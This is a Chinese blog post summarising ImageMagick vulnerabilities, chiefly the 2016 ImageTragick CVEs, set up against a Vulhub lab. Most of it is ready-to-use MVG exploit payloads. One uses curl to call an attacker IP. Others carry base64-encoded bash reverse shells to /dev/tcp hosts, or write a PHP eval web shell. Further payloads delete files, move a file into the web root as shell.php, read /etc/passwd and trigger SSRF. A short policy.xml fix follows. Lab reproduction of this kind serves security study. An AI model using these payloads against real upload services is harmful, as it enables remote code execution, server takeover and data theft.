刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

ImageMagick 漏洞汇总

一、Vulhub靶场搭建
二、漏洞利用
2.1 、运行漏洞环境

#进入漏洞环境所在路径
cd /vulhub/imagemagick/imagemagick
#运行漏洞环境
docker-compose build && docker-compose up -d

2.2、构造POC文件,命名为test.jpg,脚本内容如下

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|curl "192.168.159.128:2233)'
pop graphic-context

注:脚本中192.168.159.128:2233为另一台机器的ip和端口号,改为自己的,如使用阿里云等,记得配置安全规则

2.3、开启端口监听,在192.168.159.128机器上输入nc -lvp 2233
2.4、访问漏洞环境上传POC:http://192.168.159.66/upload.php

如图所示,在192.168.159.128上可监听到URL请求数据,但无回显可使用其他POC

1.png

反弹shell,POC脚本如下,其中echo后是经过base64编码的  /bin/bash -i >& /dev/tcp/192.168.236.138/8889 0>&1  请根据实际使用IP重新编码
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM2LjEzOC84ODg5IDA+JjE | base64 -d | bash`"||id " )'
pop graphic-context

1.png

若出现以下错误可能跟系统有关,建议在server 2008或linux中进行测试

1.png


ImageMagick

一款使用量很广的图片处理程序,许多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等功能


本文就简单的做个汇总,细节就概述了


 


CVE-2016-3714— RCE

ImageMagick流行的原因之一,就是它功能强大,可以处理很多情况,而有一个功能delegate,作用是调用外部的lib来处理文件。调用外部lib就是执行system命令,从而产生命令执行漏洞

/etc/ImageMagick/delegates.xml
<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>
&quot; 是 " 的html实体编码

解析https图片的时候,使用了curl命令将其下载,%o是curl输出的文件名,%M是远程的URL路径


command中 %M 直接拼接。漏洞产生,传入系统的system函数,payload只需使用反引号或闭合双引号,执行任意命令。


 


构造.mvg格式的图片,不用改后缀,ImageMagick会根据其内容识别为mvg图片,图片内容(POC)如下

无回显 可利用dnslog查看
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/1.jpg"|whoami")'
pop graphic-context
 
反弹shell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvODg4OCAwPiYx== | base64 -d| bash ")'
pop graphic-context
 
写shell
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \'<?php eval($_POST[\'ant\']);?>\' > shell.php")'
pop graphic-context


CVE-2016-3715-任意文件删除

利用ImageMagick支持的伪协议ephemeral,处理特制图像时没有正确防防护,可以进行敏感操作,从而达到任意文件删除

使用以下内容创建文件 test.mvg, 图片超过0,0,0,0  使用该伪协议删除指定文件。 

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/home/user/document.txt'
popgraphic-context

CVE-2016-3716-任意文件移动漏洞

利用ImageMagick支持的伪协议msl,msl协议运行指定的xml文件 (后缀可改,符合xml格式即可)

上传move.png  图片超过0,0,0,0  使用伪协议msl执行xml文件 ,

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/home/test.txt'
popgraphic-context

/home/a.jpg 移动为 /var/www/shell.php 实现写shell

test.txt
 
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/home/a.jpg" /># File to be copied
<write filename="/var/www/shell.php" /># Destination location
</image>

CVE-2016-3717-本地文件读取漏洞

利用ImageMagick支持的伪协议label, 会生成一个 指定文本内容截图 的新图像(本地木有复现,是否是随机图像名呢,待测)

test.jpg
 
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

CVE-2016-3718-SSRF

mvg格式中可以包含url,无回显的SSRF

push graphic-context
viewbox 0 0 640 480
fill 'url(http://malicious_website.com/)'
pop graphic-context

修复,配置/etc/ImageMagick/policy.xml,过滤,现在更新就行

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

CVE-2017-15277-内存泄露

影响范围:ImageMagick 7.0.6–1和Graphicsmagick 1.3.26


https://www.freebuf.com/vuls/189776.html


 


CVE-2017–8291-GhostScript Type Confusion RCE

不是ImageMagick漏洞,但ImageMagick受到影响


ImageMagick使用GhostScript来处理PostScript的某些类型的图像


https://paper.seebug.org/310/


http://blog.neargle.com/2017/09/28/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability/


https://hackerone.com/reports/302885


 


CVE-2018-16509-内存泄漏

 


Google Project Zero对该漏洞的分析:https://bugs.chromium.org/p/project-zero/issues/detail?id=1640


漏洞细节:https://medium.com/@NumbShiva/imagemagic-rce-f364a9f50a14


ExploitDB:https://www.exploit-db.com/exploits/45369/




发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.